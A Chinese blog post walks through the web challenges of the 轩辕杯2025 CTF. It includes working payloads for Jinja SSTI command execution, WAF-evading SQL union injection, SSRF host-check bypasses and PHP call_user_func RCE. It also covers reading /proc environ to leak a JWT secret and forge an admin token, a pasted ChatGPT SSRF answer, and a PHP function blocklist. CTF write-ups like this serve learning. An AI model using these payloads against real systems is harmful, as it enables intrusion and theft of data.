轩辕杯2025


第一天放了六道题目,没时间做了,只做出四道,有一道不会,还有一道就是没有时间来做了。
第二天又放了一道题目
好像平台的靶机马上要下线了,刚好说期末重要的基本考完了,赶紧来复现一下

ezjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
game._addSuccessFn(function (scoreNow) {
current_score.innerHTML = scoreNow

if (scoreNow === 100000000000) {
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'score=' + scoreNow
})
.then(response => response.text())
.then(data => {
alert("恭喜你!flag是:" + data);
})
.catch(error => {
console.error('错误:', error);
});
}
})

一进去查看网页源代码,控制台输入

1
2
3
4
5
6
7
8
9
10
11
12
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'score=100000000000'
})
.then(response => response.text())
.then(data => {
alert("恭喜你!flag是:" + data);
});

拿到flag
还有就是看懂代码之后,先访问/getflag.php,然后就是post发包

1
score=100000000000

ezflask

我们当然是先来fenjing一下

1
python -m fenjing scan --url http://27.25.151.26:30747/

这里可以看到有flag,但是我们拿不到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$>> head -n 10 /flag
WARNING:[full_payload_gen] | We cannot set any variable through {%set %}, continue...
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('head -n 10 /flag') can be 'head -n 10 /f''lag'
INFO:[payload_gen] | Great, we generate os_popen_obj('head -n 10 /flag')
INFO:[payload_gen] | Great, we generate os_popen_read('head -n 10 /flag')
INFO:[cli] | Submit payload {{joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('o''s')['p''open']('head -n 10 /f''lag')['read']()}}

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>小白的flask网站</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f0f0; }
.navbar { background-color: #3498db; padding: 10px; color: white; text-align: center; font-size: 24px; }
.content { margin: 50px auto; width: 80%; text-align: center; }
.footer { position: fixed; bottom: 0; width: 100%; text-align: center; background: #ddd; padding: 10px; font-size: 12px;}
input[type=text] { padding: 10px; width: 300px; }
input[type=submit] { padding: 10px 20px; background-color: #3498db; color: white; border: none; }
</style>
</head>
<body>
<div class="navbar">
小白的flask网站
</div>

<div class="content">
<h1>尝试注入一下吧</h1>
<form method="get" action="/">
<input type="text" name="name" placeholder="Enter your name...">
<input type="submit" value="Submit">
</form>
<div>
<h3>Welcome, flag{efaed5b2-6f3f-42a6-8a65-f3fef5a6fdb1}
!</h3>
</div>
</div>

<div class="footer">
© 2025 - Powered by tools
</div>
</body>
</html>

$>>

但是上面的那个命令是gpt给的,我不知道相关的含义等等这些方面
看了一下很多别人的wp来看看其他情况下怎么拿到flag
HnuSecStar战队的wp是nl /flag
后面我又自己试了很多,应该就是说过滤了cat,我们直接换tac都是可以拿到flag的

ezsql1.0

我们先fuzz一下

1
2
3
4
5
6
7
8
219	%20	200	false	false	2224	
189 200 false false 2225
158 order 200 false false 2229
8 SeleCT 200 false false 2230
1 length 200 false false 2230
75 select 200 false false 2230
68 length 200 false false 2230
201 sys schemma 200 false false 2234

然后这些就是杯waf的,当然我的fuzz字典有些问题,可以多手动注入一下

1
?id=1/**/and/**/1=2

报错了,知道是数字型,不要测试闭合方式

1
?id=1/**/group/**/by/**/4

3正常,4报错
我们知道是有三列

1
?id=0/**/union/**/seselectlect/**/1,2,3

回显了,选择第三列进行测试

1
?id=0/**/union/**/seselectlect/**/1,2,database()

这个回显ctf

1
?id=0/**/union/**/seselectlect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'

这个回显:users,flag

1
?id=0/**/union/**/seselectlect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'

回显:id,data

1
?id=0/**/union/**/seselectlect/**/1,2,group_concat(id,data)/**/from/**/flag

这个拿到flag
确认了我们没有复制错flag,那么就是说flag在其他的库中

1
?id=0/**/union/**/seselectlect/**/1,2,group_concat(schema_name)/**/from/**/information_schema.schemata

回显:information_schema,performance_schema,mysql,ctf,xuanyuanCTF
应该在最后一个里面
重复上面paylaod就是将库/表名换一下

1
?id=0/**/union/**/seselectlect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=' '

回显:info

1
?id=0/**/union/**/seselectlect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='info'

回显:id,title,content
这里要用下面这个payload,否则我试了很多都拿不到flag

1
?id=0/**/union/**/seselectlect/**/1,2,group_concat(title,content)/**/from/**/xuanyuanCTF.info

title换为id也是可以的,得到1ZmxhZ3vmrKLov47mnaXliLDovanovpXmna99
解码拿到flag

ezssrf1.0

问gpt再过一下waf就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

if ($url == null)
die("Try to add ?url=xxxx.");

$x = parse_url($url);

if (!$x)
die("(;_;)");

if ($x['host'] === null && $x['scheme'] === 'http') {
echo ('Well, Going to ' . $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else
echo "(^-_-^)"; 绕过这个waf,拿flag
ChatGPT 说:

你现在的目标是:

在满足 WAF 限制的情况下,通过 SSRF 拿到内网的 /flag 内容。

🔍 当前 PHP 代码关键点分析:

$x = parse_url($url);

if ($x['host'] === null && $x['scheme'] === 'http') {

要通过 WAF 的关键条件是:

parse_url($url) 成功。

scheme === 'http'

必须满足 host === null

🚫 什么会失败:

http://127.0.0.1/flag ❌ host=127.0.0.1

http://localhost/flag ❌ host=localhost

gopher://127.0.0.1 ❌ scheme ≠ http

✅ 你能用的 SSRF Payload 样式:

http:///flag

这种写法:

parse_url("http:///flag") 会返回:

[
"scheme" => "http",
"path" => "/flag"
]

✔️ host === null 成立

✔️ scheme === 'http' 成立

在 cURL 执行时,http:///flag 实际上会被解释为请求本地 127.0.0.1,请求路径为 /flag!
✅ 所以,正确 payload 是:

?url=http:///flag

或者你也可以试这些:

?url=http:///internal/flag
?url=http:///.flag
?url=http:///admin

✅ 小技巧(目录探测):

你可以尝试目录探测:

for path in /flag /.flag /.hidden /internal/flag /admin /debug; do
curl "http://目标地址/?url=http:///$path"
done

💡 如果不回显内容怎么办?

如果 SSRF 能访问但不直接回显(如返回 HTML 页面但无 flag 字样),你可以试:

/phpinfo 看变量

/index.php?debug=1

查看 200 OK 响应体里是否包含 flag{...}、fl4g 字样

✅ 结论

请直接访问:

http://你的服务器地址/?url=http:///flag

它是唯一合法又能触发 SSRF 的 payload。如果这个不回显,再考虑路径爆破。

需要我写脚本帮你跑路径或端口探测,也可以说一声。

?url=http:/127.0.0.1/flag
这个就回显我们需要的flag文件了,Well, Going to http:/127.0.0.1/flagflag in FFFFF11111AAAAAggggg.php
然后就是我们来

1
http://27.25.151.26:31170/?url=http:/127.0.0.1/FFFFF11111AAAAAggggg.php

拿到flag
我现在还不是很会ssrf的很多内容,等后面sql基本没有了问题之后,就来解决ssrf方面的相关问题了

ezrce

首先我们进去出现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
highlight_file(__FILE__);

function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);

$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);

if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}

$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];

if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>

就是绕这个waf嘛
首先就是我们需要知道call_user_func()这个函数
调用普通函数用法

1
2
3
4
5
6
7
function hello($name) {
return "Hello, $name!";
}

echo call_user_func('hello', 'Alice');
// 输出:Hello, Alice!

调用类的静态方法

1
2
3
4
5
6
7
8
9
class Test {
public static function say($msg) {
return "Message: $msg";
}
}

echo call_user_func(['Test', 'say'], 'Hi');
// 输出:Message: Hi

调用对象方法

1
2
3
4
5
6
7
8
9
10
class Greeter {
public function greet($name) {
return "Hi, $name";
}
}

$obj = new Greeter();
echo call_user_func([$obj, 'greet'], 'Bob');
// 输出:Hi, Bob

ctf赛题中

1
2
3
4
5
在一些 CTF Web 题中:

call_user_func($_GET['func'], $_GET['arg']);

如果未做限制,就可能被用户传入任意函数名,比如 phpinfo, system, eval 等,造成 任意代码执行 RCE

上面的这个call_user_func函数我的理解一直是错的
是没有没有,但是题目这里是可以允许你在绕过waf的情况下,你里面使用的函数如果是有回显的话那就可以拿到flag了
这里两种解法

1
2
3
4
该函数用于输出一个 .gz 文件的内容

但是对于非 gzip 格式的文件,直接读取内容
我们可以new=readgzfile&star=/flag

常规点的思路:
还有就是new=\system&star=nl /flag来绕过waf,那只要没有过滤\这个符号,那rce的赛题不都基本一下就解决了这个问题了

ez_web1

哈哈,玛德,这道题我还想着要不要爆破密码呀这些,或者说去扫目录什么的
给了admin和fly233的聊天,我们最终要得到账号为fly233密码为123456789
然后登陆进去
book1

1
中间人攻击重放是攻击者拦截通信双方的数据包,复制并重发以实现恶意目的的网络攻击方式。在用户与服务器通信时,攻击者通过网络漏洞获取数据,如交易请求、登录信息等,随后重新发送这些数据包,可能导致用户资金损失、敏感信息泄露、数据被篡改或通信受干扰等问题 。为防范该攻击,可采用 SSL/TLS 加密通信、使用消息认证码或数字签名进行消息认证,以及添加时间戳和序列号来识别重复数据包。 

book2

1
条件竞争(Race Condition)是一种在软件开发和系统运行中可能出现的问题。当多个进程或线程在共享资源上进行操作时,其执行顺序依赖于外部条件,且这些操作的执行顺序会影响最终结果,就可能发生条件竞争。例如,在多线程环境下,两个线程同时访问一个共享变量,一个线程负责读取变量值并根据其进行计算,另一个线程负责修改该变量值。如果这两个操作的执行顺序不确定,可能导致计算结果错误。在网络应用中,也可能出现条件竞争,如多个用户同时对一个数据库记录进行修改,先提交的修改可能被后提交的覆盖,造成数据不一致。条件竞争可能引发程序的不稳定、数据错误甚至系统崩溃等问题,需要开发者通过合理的同步机制、锁机制或其他并发控制手段来避免

book3

1
JWT 即 JSON Web Token,是一种用于在网络应用间安全传输信息的开放标准(RFC 7519)。它本质是一个紧凑且自包含的 JSON 对象,以加密的形式在各方之间安全传递声明。JWT 由三部分组成,分别是头部(Header)、负载(Payload)和签名(Signature)。其通常用于身份验证和信息交换,在用户登录时,服务器会生成一个 JWT 并返回给客户端,后续客户端发起请求时携带该 JWT,服务器通过验证 JWT 的签名来确认请求的合法性和用户身份,具有无状态、可扩展等优点,在现代 Web 应用和 API 服务中被广泛使用。 

猜测基本就是说是这三个的其中一个或者多个了
但是我们打开一个book之后,可以看到请求包是post了book_path=book_three.txt,此时来到/read目录下
最后在/proc/1/environ下找到flag
这里如果是说用hackbar的话,我们就需要说看一下源代码
预期解:读取/app/app.py源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt

app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}


def generate_token(username):
    payload = {
        'username': username
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token


def decode_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        return payload
    except jwt.ExpiredSignatureError:
        returnNone
    except jwt.InvalidTokenError:
        returnNone


@app.route('/')
def index():
    token = request.cookies.get('token')
    ifnot token:
        return redirect('/login')
    payload = decode_token(token)
    ifnot payload:
        return redirect('/login')
    username = payload['username']
    books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
    return render_template('./index.html', username=username, books=books)


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':

        return render_template('./login.html')
    elif request.method == 'POST':

        username = request.form.get('username')
        password = request.form.get('password')

        if username in users and users[username] == password:
            token = generate_token(username)
            response = make_response(jsonify({
                'message': 'success'
            }), 200)

            response.set_cookie('token', token, httponly=True, path='/')
            return response
        else:

            return {'message': 'Invalid username oindex.htmlr password'}


@app.route('/read', methods=['POST'])
def read_book():
    token = request.cookies.get('token')
    ifnot token:
        return redirect('/login')
    payload = decode_token(token)
    ifnot payload:
        return redirect('/login')
    book_path = request.form.get('book_path')
    full_path = os.path.join(book_dir, book_path)
    try:
        with open(full_path, 'r', encoding='utf-8') as file:
            content = file.read()
        return render_template('reading.html', content=content)
    except FileNotFoundError:
        return"文件未找到", 404
    except Exception as e:
        returnf"发生错误: {str(e)}", 500


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    ifnot token:
        return redirect('/login')
    payload = decode_token(token)
    ifnot payload:
        return redirect('/login')
    if request.method == 'GET':
        return render_template('./upload.html')
    if payload.get('username') != 'admin':
        return"""
        <script>
            alert('只有管理员才有添加图书的权限');
            window.location.href = '/';
        </script>
        """
    file = request.files['file']
    if file:
        book_path = request.form.get('book_path')
        file_path = os.path.join(book_path, file.filename)
        ifnot os.path.exists(book_path):
            return"文件夹不存在", 400
        file.save(file_path)

        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
            pattern = r'[{}<>_%]'

            if re.search(pattern, content):
                os.remove(file_path)
                return"""
                <script>
                    alert('SSTI,想的美!');
                    window.location.href = '/';
                </script>
                """
        return redirect(url_for('index'))
    return"未选择文件", 400

找到用户认证的逻辑是通过cookie里的token来jwt-decode来处理然后读取环境变量/proc/self/environ得到SECRET_KEY=th1s_1s_k3y得到伪造admin的token
这里我们可以在cyberchef里面(第一次知道cyberchef的这个功能,肯定是要比说在线的好呀)
然后就是条件竞争什么的了
但是这里的构造JWT我不是很会(非在线情况下)

签到

当时比赛的时候卡在第四关了,当时想了很久没有想到怎么过
第一关:首先是get和post传参,注意Cookie后面跟着一个star=user,我们将user换为admin
第二关:

1
2
3
4
5
6
7
8
有时候,看起来相同的东西,实际上并不一样。

这一关,你需要GET提交一个 password 参数。🛡️
但是要小心:
- 纯粹的数字,会被怀疑并被拒绝。❌
if (is_string($password) && preg_match('/^\d+$/', $password)) { echo "纯数字是不行的哦!"; exit; }🎭

嘻嘻,给你一个小提示:今年是多少年呢?

这个就传password=2025bac就可以了
第三关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 看起来,直接访问似乎行不通了。

有些信息藏在请求头里,动动你的工具箱,伪造它们!

提示:Referer 不是随便写的,里面得藏着点东西……

<?php
error_reporting(0);

// 判断 Referer 是否符合
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

if (strpos($referer, 'secretcode') !== false) {
// 进一步要求POST参数
if (isset($_POST['key']) && $_POST['key'] === 'ctfpass') {
echo file_get_contents('./xixi.txt');
} else {
echo "Referer对了,但是POST参数呢?";
}
} else {
echo "你缺少正确的Referer头~";
}
?>

这里referer传secretcode就可以的
第四关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

第四关:不走寻常路

有些门,用传统的方法打不开。

是谁又头疼了啊?🛠️

小提示:
- 常规的 GET、POST 已经无能为力了,试试别的方式?🔄
- 身份也很关键,伪装得像 “identity=n1c3” 的人,才有机会通过。🕵️‍♂️

别局限于常规操作,灵活运用你的工具箱!
请换一种请求方式试试看?
提示:试试使用 HEAD 请求方法!

这里就基本上过不了这关了
这里我试着改说cookie和其他的都是不可以的,主要得改ua,说实话这关提示有误导性哈哈
第五关:

1
2
3
4
5
6
7
8
9
10
11
12
13

<script>
(function(){
var a = ['E', 'l', 'W', '_', 'F', '3', 't', '0', 'C', 'C'];
var order = [2, 5, 1, 8, 7, 0, 3, 9, 6, 4];
var code = '';
for (var i = 0; i < order.length; i++) {
code += a[order[i]];
}
console.log("Your hidden key is:", code);
})();

</script>

代码得意思也很简单,我们可以直接放在控制台来执行就行了

1
W3lC0E_CtF

最后一关:

1
2
3
4
5
6
7
第六关:最后的决战

这是一场真正的较量。

你需要找到方法,在不触发防火墙的情况下,拿到真正的flag!

提示:防火墙会检查关键词,小心绕过它。

这里应该有很多的方法是可以拿到flag的
看别人的wp:sort /f*或者sort /f???就可以拿到flag了
还可用前面的nl /flag
我试试sort在前面ssti之类的能不能拿到flag
结果:可以哦
算是有多掌握了几个命令类似于cat的


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录